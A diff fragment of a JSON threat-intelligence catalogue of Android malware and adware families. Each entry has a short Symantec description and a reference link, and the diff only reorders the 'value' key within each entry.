"description": "Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99"
]
},
- "uuid": "e4a18a09-09ed-4ca8-93b8-be946e9f560c"
+ "uuid": "e4a18a09-09ed-4ca8-93b8-be946e9f560c",
+ "value": "Bgserv"
},
{
- "value": "Biigespy",
"description": "Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99"
]
},
- "uuid": "7a46c9c6-9af5-41e6-a625-aa14009c528e"
+ "uuid": "7a46c9c6-9af5-41e6-a625-aa14009c528e",
+ "value": "Biigespy"
},
{
- "value": "Bmaster",
"description": "Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99"
]
},
- "uuid": "9ac3232d-b533-44d6-9b73-4341e2cba4b4"
+ "uuid": "9ac3232d-b533-44d6-9b73-4341e2cba4b4",
+ "value": "Bmaster"
},
{
- "value": "Bossefiv",
"description": "Bossefiv is a Trojan horse for Android devices that steals information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99"
]
},
- "uuid": "45d85c09-8bed-4c4e-b1d1-4784737734a5"
+ "uuid": "45d85c09-8bed-4c4e-b1d1-4784737734a5",
+ "value": "Bossefiv"
},
{
- "value": "Boxpush",
"description": "Boxpush is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99"
]
},
- "uuid": "412bb5c6-a5fd-4f36-939e-47f87cc3edae"
+ "uuid": "412bb5c6-a5fd-4f36-939e-47f87cc3edae",
+ "value": "Boxpush"
},
{
- "value": "Burstly",
"description": "Burstly is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99"
]
},
- "uuid": "74053925-b076-47b0-8c23-bb90ff89653c"
+ "uuid": "74053925-b076-47b0-8c23-bb90ff89653c",
+ "value": "Burstly"
},
{
- "value": "Buzzcity",
"description": "Buzzcity is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99"
]
},
- "uuid": "604430f2-8109-40a6-8224-39d2790914e5"
+ "uuid": "604430f2-8109-40a6-8224-39d2790914e5",
+ "value": "Buzzcity"
},
{
- "value": "ByPush",
"description": "ByPush is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99"
]
},
- "uuid": "7c373640-5830-4f23-b122-3fb4f7af0b64"
+ "uuid": "7c373640-5830-4f23-b122-3fb4f7af0b64",
+ "value": "ByPush"
},
{
- "value": "Cajino",
"description": "Cajino is a Trojan horse for Android devices that opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99"
]
},
- "uuid": "388ed802-54bc-4cf0-899e-92fed27df5e1"
+ "uuid": "388ed802-54bc-4cf0-899e-92fed27df5e1",
+ "value": "Cajino"
},
{
- "value": "Casee",
"description": "Casee is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99"
]
},
- "uuid": "f48a667a-a74d-4c04-80a2-a257cd8e29cc"
+ "uuid": "f48a667a-a74d-4c04-80a2-a257cd8e29cc",
+ "value": "Casee"
},
{
- "value": "Catchtoken",
"description": "Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99"
]
},
- "uuid": "ec37c5db-0497-440b-a7bc-4e28dc5c95f4"
+ "uuid": "ec37c5db-0497-440b-a7bc-4e28dc5c95f4",
+ "value": "Catchtoken"
},
{
- "value": "Cauly",
"description": "Cauly is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99"
]
},
- "uuid": "b5db1360-91fc-4dc3-8520-d00f9f3601ce"
+ "uuid": "b5db1360-91fc-4dc3-8520-d00f9f3601ce",
+ "value": "Cauly"
},
{
- "value": "Cellshark",
"description": "Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99"
]
},
- "uuid": "471e6971-ab43-4b59-917c-5cdd5b8fd531"
+ "uuid": "471e6971-ab43-4b59-917c-5cdd5b8fd531",
+ "value": "Cellshark"
},
{
- "value": "Centero",
"description": "Centero is a Trojan horse for Android devices that displays advertisements on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99"
]
},
- "uuid": "a9595906-adcf-4a08-9f71-f2eb2199cb87"
+ "uuid": "a9595906-adcf-4a08-9f71-f2eb2199cb87",
+ "value": "Centero"
},
{
- "value": "Chuli",
"description": "Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99"
]
},
- "uuid": "f2f3e65a-5e46-45e9-aa23-addd841ba3c6"
+ "uuid": "f2f3e65a-5e46-45e9-aa23-addd841ba3c6",
+ "value": "Chuli"
},
{
- "value": "Citmo",
"description": "Citmo is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99"
]
},
- "uuid": "e271a188-fc07-4f03-a047-d96ea64ee1e5"
+ "uuid": "e271a188-fc07-4f03-a047-d96ea64ee1e5",
+ "value": "Citmo"
},
{
- "value": "Claco",
"description": "Claco is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99"
]
},
- "uuid": "2a7c2aff-9e7f-4358-9196-477042fc2f5b"
+ "uuid": "2a7c2aff-9e7f-4358-9196-477042fc2f5b",
+ "value": "Claco"
},
{
- "value": "Clevernet",
"description": "Clevernet is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99"
]
},
- "uuid": "76090f4b-eb03-42c0-90bb-9337d1a20d74"
+ "uuid": "76090f4b-eb03-42c0-90bb-9337d1a20d74",
+ "value": "Clevernet"
},
{
- "value": "Cnappbox",
"description": "Cnappbox is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99"
]
},
- "uuid": "d343483b-909c-490a-827e-3a2c9d6ad033"
+ "uuid": "d343483b-909c-490a-827e-3a2c9d6ad033",
+ "value": "Cnappbox"
},
{
- "value": "Cobblerone",
"description": "Cobblerone is a spyware application for Android devices that can track the phone's location and remotely erase the device.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99"
]
},
- "uuid": "4863856a-9899-42a2-b02c-449aaa5a8258"
+ "uuid": "4863856a-9899-42a2-b02c-449aaa5a8258",
+ "value": "Cobblerone"
},
{
- "value": "Coolpaperleak",
"description": "Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99"
]
},
- "uuid": "272b75a0-a77f-44eb-ba7f-b68804d3506d"
+ "uuid": "272b75a0-a77f-44eb-ba7f-b68804d3506d",
+ "value": "Coolpaperleak"
},
{
- "value": "Coolreaper",
"description": "Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99"
]
},
- "uuid": "f2646118-fa1d-4e6a-9115-033ba1e05b21"
+ "uuid": "f2646118-fa1d-4e6a-9115-033ba1e05b21",
+ "value": "Coolreaper"
},
{
- "value": "Cosha",
"description": "Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99"
]
},
- "uuid": "045d0e45-ce4d-4b51-92c8-111013b3b972"
+ "uuid": "045d0e45-ce4d-4b51-92c8-111013b3b972",
+ "value": "Cosha"
},
{
- "value": "Counterclank",
"description": "Counterclank is a Trojan horse for Android devices that steals information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99"
]
},
- "uuid": "95b527d5-d90c-4c37-973f-1dc83da6511e"
+ "uuid": "95b527d5-d90c-4c37-973f-1dc83da6511e",
+ "value": "Counterclank"
},
{
- "value": "Crazymedia",
"description": "Crazymedia is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99"
]
},
- "uuid": "a08d4206-92b7-4b0e-9267-24eb4acf737f"
+ "uuid": "a08d4206-92b7-4b0e-9267-24eb4acf737f",
+ "value": "Crazymedia"
},
{
- "value": "Crisis",
"description": "Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99"
]
},
- "uuid": "c17f6e4b-70c5-42f8-a91b-19d73485bd04"
+ "uuid": "c17f6e4b-70c5-42f8-a91b-19d73485bd04",
+ "value": "Crisis"
},
{
- "value": "Crusewind",
"description": "Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99"
]
},
- "uuid": "67c624e1-89a0-4581-9fa3-de4864a03aab"
+ "uuid": "67c624e1-89a0-4581-9fa3-de4864a03aab",
+ "value": "Crusewind"
},
{
- "value": "Dandro",
"description": "Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99"
]
},
- "uuid": "a5bff39e-804e-4c62-b5fb-7a7e32069a7d"
+ "uuid": "a5bff39e-804e-4c62-b5fb-7a7e32069a7d",
+ "value": "Dandro"
},
{
- "value": "Daoyoudao",
"description": "Daoyoudao is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99"
]
},
- "uuid": "939f5057-635a-46e7-b15a-fb301258d0f9"
+ "uuid": "939f5057-635a-46e7-b15a-fb301258d0f9",
+ "value": "Daoyoudao"
},
{
- "value": "Deathring",
"description": "Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99"
]
},
- "uuid": "07ca0660-3391-4cb1-900c-a1ad38980b06"
+ "uuid": "07ca0660-3391-4cb1-900c-a1ad38980b06",
+ "value": "Deathring"
},
{
- "value": "Deeveemap",
"description": "Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99"
]
},
- "uuid": "a23a5f71-affe-4f0e-aa8f-39a3967210ae"
+ "uuid": "a23a5f71-affe-4f0e-aa8f-39a3967210ae",
+ "value": "Deeveemap"
},
{
- "value": "Dendoroid",
"description": "Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99"
]
},
- "uuid": "f1a4a027-bb70-4279-9c59-c271ac264cbf"
+ "uuid": "f1a4a027-bb70-4279-9c59-c271ac264cbf",
+ "value": "Dendoroid"
},
{
- "value": "Dengaru",
"description": "Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99"
]
},
- "uuid": "2788d128-4c7a-4ed2-93c1-03125579251c"
+ "uuid": "2788d128-4c7a-4ed2-93c1-03125579251c",
+ "value": "Dengaru"
},
{
- "value": "Diandong",
"description": "Diandong is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99"
]
},
- "uuid": "4fc012cf-dbbf-4200-af95-879eb668eb66"
+ "uuid": "4fc012cf-dbbf-4200-af95-879eb668eb66",
+ "value": "Diandong"
},
{
- "value": "Dianjin",
"description": "Dianjin is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99"
]
},
- "uuid": "bb9ff44c-eb04-4df3-8e17-967f59fee4f5"
+ "uuid": "bb9ff44c-eb04-4df3-8e17-967f59fee4f5",
+ "value": "Dianjin"
},
{
- "value": "Dogowar",
"description": "Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99"
]
},
- "uuid": "397ed797-e2a9-423a-a485-e06b4633b37a"
+ "uuid": "397ed797-e2a9-423a-a485-e06b4633b37a",
+ "value": "Dogowar"
},
{
- "value": "Domob",
"description": "Domob is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99"
]
},
- "uuid": "e99fe1de-4f88-4c69-95bc-87df65dc73ca"
+ "uuid": "e99fe1de-4f88-4c69-95bc-87df65dc73ca",
+ "value": "Domob"
},
{
- "value": "Dougalek",
"description": "Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99"
]
},
- "uuid": "d06b78de-b9f1-474a-b243-c975bd55baed"
+ "uuid": "d06b78de-b9f1-474a-b243-c975bd55baed",
+ "value": "Dougalek"
},
{
- "value": "Dowgin",
"description": "Dowgin is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99"
]
},
- "uuid": "8635a12e-4fa4-495e-b3c9-de4a01c1bc59"
+ "uuid": "8635a12e-4fa4-495e-b3c9-de4a01c1bc59",
+ "value": "Dowgin"
},
{
- "value": "Droidsheep",
"description": "Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99"
]
},
- "uuid": "0ac34775-2323-4866-a540-913043aec431"
+ "uuid": "0ac34775-2323-4866-a540-913043aec431",
+ "value": "Droidsheep"
},
{
- "value": "Dropdialer",
"description": "Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99"
]
},
- "uuid": "d3aeb67a-6247-4a90-b7c2-971ced9dc7ef"
+ "uuid": "d3aeb67a-6247-4a90-b7c2-971ced9dc7ef",
+ "value": "Dropdialer"
},
{
- "value": "Dupvert",
"description": "Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99"
]
},
- "uuid": "f8c910ed-6047-4628-a21a-2d5bf6895fd4"
+ "uuid": "f8c910ed-6047-4628-a21a-2d5bf6895fd4",
+ "value": "Dupvert"
},
{
- "value": "Dynamicit",
"description": "Dynamicit is an advertisement library that is bundled with certain Android applications. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99"
]
},
- "uuid": "e9df4254-31d9-45c3-80df-f6da15549ebb"
+ "uuid": "e9df4254-31d9-45c3-80df-f6da15549ebb",
+ "value": "Dynamicit"
},
{
- "value": "Ecardgrabber",
"description": "Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99"
]
},
- "uuid": "70570b6a-7236-48cb-9b0d-e8495779f51d"
+ "uuid": "70570b6a-7236-48cb-9b0d-e8495779f51d",
+ "value": "Ecardgrabber"
},
{
- "value": "Ecobatry",
"description": "Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99"
]
},
- "uuid": "d8f4b1c3-7234-40ec-b944-8b22d2ba1fe7"
+ "uuid": "d8f4b1c3-7234-40ec-b944-8b22d2ba1fe7",
+ "value": "Ecobatry"
},
{
- "value": "Enesoluty",
"description": "Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99"
]
},
- "uuid": "6d5be115-6245-456b-929c-3077987e65d4"
+ "uuid": "6d5be115-6245-456b-929c-3077987e65d4",
+ "value": "Enesoluty"
},
{
- "value": "Everbadge",
"description": "Everbadge is an advertisement library that is bundled with certain Android applications.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99"
]
},
- "uuid": "36a6af63-035c-43ef-b534-0fe2f16462eb"
+ "uuid": "36a6af63-035c-43ef-b534-0fe2f16462eb",
+ "value": "Everbadge"
},
{
- "value": "Ewalls",
"description": "Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99"
]
},
- "uuid": "ef424b45-fb8a-4e81-9b9e-5ebb8d9219ed"
+ "uuid": "ef424b45-fb8a-4e81-9b9e-5ebb8d9219ed",
+ "value": "Ewalls"
},
{
- "value": "Exprespam",
"description": "Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99"
]
},
- "uuid": "043ee6fa-37de-4a2d-a888-95febf8a243c"
+ "uuid": "043ee6fa-37de-4a2d-a888-95febf8a243c",
+ "value": "Exprespam"
},
{
- "value": "Fakealbums",
"description": "Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99"
]
},
- "uuid": "0399e18a-e047-4507-a66c-2503b00cd727"
+ "uuid": "0399e18a-e047-4507-a66c-2503b00cd727",
+ "value": "Fakealbums"
},
{
- "value": "Fakeangry",
"description": "Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99"
]
},
- "uuid": "6032b79e-68e7-4a9f-b913-8cb62e7c28e8"
+ "uuid": "6032b79e-68e7-4a9f-b913-8cb62e7c28e8",
+ "value": "Fakeangry"
},
{
- "value": "Fakeapp",
"description": "Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99"
]
},
- "uuid": "493c97f8-db6c-40ae-a06e-fa2a9d84d660"
+ "uuid": "493c97f8-db6c-40ae-a06e-fa2a9d84d660",
+ "value": "Fakeapp"
},
{
- "value": "Fakebanco",
"description": "Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99"
]
},
- "uuid": "7714a6ee-3a75-42b2-ad4b-ec21da4259fd"
+ "uuid": "7714a6ee-3a75-42b2-ad4b-ec21da4259fd",
+ "value": "Fakebanco"
},
{
- "value": "Fakebank",
"description": "Fakebank is a Trojan horse that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99"
]
},
- "uuid": "4fba0b79-0be2-4471-9c1a-5a0295130ac2"
+ "uuid": "4fba0b79-0be2-4471-9c1a-5a0295130ac2",
+ "value": "Fakebank"
},
{
- "value": "Fakebank.B",
"description": "Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99"
]
},
- "uuid": "fb3083ad-5342-4913-9d48-f3abaf613878"
+ "uuid": "fb3083ad-5342-4913-9d48-f3abaf613878",
+ "value": "Fakebank.B"
},
{
- "value": "Fakebok",
"description": "Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99"
]
},
- "uuid": "84318a88-5ed5-43e9-ae8d-143e7373a46d"
+ "uuid": "84318a88-5ed5-43e9-ae8d-143e7373a46d",
+ "value": "Fakebok"
},
{
- "value": "Fakedaum",
"description": "Fakedaum is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99"
]
},
- "uuid": "b91c1aaf-4a06-40ec-b4b9-59e9da882697"
+ "uuid": "b91c1aaf-4a06-40ec-b4b9-59e9da882697",
+ "value": "Fakedaum"
},
{
- "value": "Fakedefender",
"description": "Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99"
]
},
- "uuid": "79a6bf32-d063-4b7c-a891-3dda49e31582"
+ "uuid": "79a6bf32-d063-4b7c-a891-3dda49e31582",
+ "value": "Fakedefender"
},
{
- "value": "Fakedefender.B",
"description": "Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99"
]
},
- "uuid": "26f660c5-c04b-4bb2-8169-5dc2dfe1c835"
+ "uuid": "26f660c5-c04b-4bb2-8169-5dc2dfe1c835",
+ "value": "Fakedefender.B"
},
{
- "value": "Fakedown",
"description": "Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99"
]
},
- "uuid": "f43ef200-e9d8-4cca-bb63-ac3d70465fed"
+ "uuid": "f43ef200-e9d8-4cca-bb63-ac3d70465fed",
+ "value": "Fakedown"
},
{
- "value": "Fakeflash",
"description": "Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99"
]
},
- "uuid": "d2fe043a-8b6c-4aa2-8527-c51b7b44f9df"
+ "uuid": "d2fe043a-8b6c-4aa2-8527-c51b7b44f9df",
+ "value": "Fakeflash"
},
{
- "value": "Fakegame",
"description": "Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99"
]
},
- "uuid": "250a3e30-2025-486d-98fe-2fe1cf817451"
+ "uuid": "250a3e30-2025-486d-98fe-2fe1cf817451",
+ "value": "Fakegame"
},
{
- "value": "Fakeguard",
"description": "Fakeguard is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99"
]
},
- "uuid": "2c5798aa-e68c-4158-ba04-1db39512451f"
+ "uuid": "2c5798aa-e68c-4158-ba04-1db39512451f",
+ "value": "Fakeguard"
},
{
- "value": "Fakejob",
"description": "Fakejob is a Trojan horse for Android devices that redirects users to scam websites. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99"
]
},
- "uuid": "ba8bf35c-187f-4acb-8b44-5ee288535679"
+ "uuid": "ba8bf35c-187f-4acb-8b44-5ee288535679",
+ "value": "Fakejob"
},
{
- "value": "Fakekakao",
"description": "Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99"
]
},
- "uuid": "f0915277-0156-4832-b282-4447f4d06449"
+ "uuid": "f0915277-0156-4832-b282-4447f4d06449",
+ "value": "Fakekakao"
},
{
- "value": "Fakelemon",
"description": "Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user's consent. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99"
]
},
- "uuid": "398bd8d6-a7ee-4f51-a8ff-96d8b4ae93a5"
+ "uuid": "398bd8d6-a7ee-4f51-a8ff-96d8b4ae93a5",
+ "value": "Fakelemon"
},
{
- "value": "Fakelicense",
"description": "Fakelicense is a Trojan horse that displays advertisements on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99"
]
},
- "uuid": "21e5a963-ad8a-479b-b33e-35deb75f846d"
+ "uuid": "21e5a963-ad8a-479b-b33e-35deb75f846d",
+ "value": "Fakelicense"
},
{
- "value": "Fakelogin",
"description": "Fakelogin is a Trojan horse for Android devices that steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99"
]
},
- "uuid": "6bd49caa-59a2-4abf-86ea-7a2ebc7ed324"
+ "uuid": "6bd49caa-59a2-4abf-86ea-7a2ebc7ed324",
+ "value": "Fakelogin"
},
{
- "value": "FakeLookout",
"description": "FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99"
]
},
- "uuid": "caffc461-7415-4017-82bf-195df5d7791f"
+ "uuid": "caffc461-7415-4017-82bf-195df5d7791f",
+ "value": "FakeLookout"
},
{
- "value": "FakeMart",
"description": "FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99"
]
},
- "uuid": "6816561e-203f-4f6c-b85b-e4f51148e9e7"
+ "uuid": "6816561e-203f-4f6c-b85b-e4f51148e9e7",
+ "value": "FakeMart"
},
{
- "value": "Fakemini",
"description": "Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99"
]
},
- "uuid": "b40b23aa-5b2a-46bf-94ab-0bd0f9a896c9"
+ "uuid": "b40b23aa-5b2a-46bf-94ab-0bd0f9a896c9",
+ "value": "Fakemini"
},
{
- "value": "Fakemrat",
"description": "Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99"
]
},
- "uuid": "b61b0ca5-fd3c-4e65-af3f-7d4e9bc75e62"
+ "uuid": "b61b0ca5-fd3c-4e65-af3f-7d4e9bc75e62",
+ "value": "Fakemrat"
},
{
- "value": "Fakeneflic",
"description": "Fakeneflic is a Trojan horse that steals information from Android devices. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99"
]
},
- "uuid": "58113e57-f6df-45f0-a058-b08a892c3903"
+ "uuid": "58113e57-f6df-45f0-a058-b08a892c3903",
+ "value": "Fakeneflic"
},
{
- "value": "Fakenotify",
"description": "Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99"
]
},
- "uuid": "9dbfc63d-2b0d-406d-95cf-f87494bd588a"
+ "uuid": "9dbfc63d-2b0d-406d-95cf-f87494bd588a",
+ "value": "Fakenotify"
},
{
- "value": "Fakepatch",
"description": "Fakepatch is a Trojan horse for Android devices that downloads more files on to the device. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99"
]
},
- "uuid": "981938f8-7820-4b15-ab96-f4923280253c"
+ "uuid": "981938f8-7820-4b15-ab96-f4923280253c",
+ "value": "Fakepatch"
},
{
- "value": "Fakeplay",
"description": "Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address. ",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99"
]
},
- "uuid": "4ac0574f-8faa-463f-a493-b245f2c76d2c"
+ "uuid": "4ac0574f-8faa-463f-a493-b245f2c76d2c",
+ "value": "Fakeplay"
},
{
- "value": "Fakescarav",
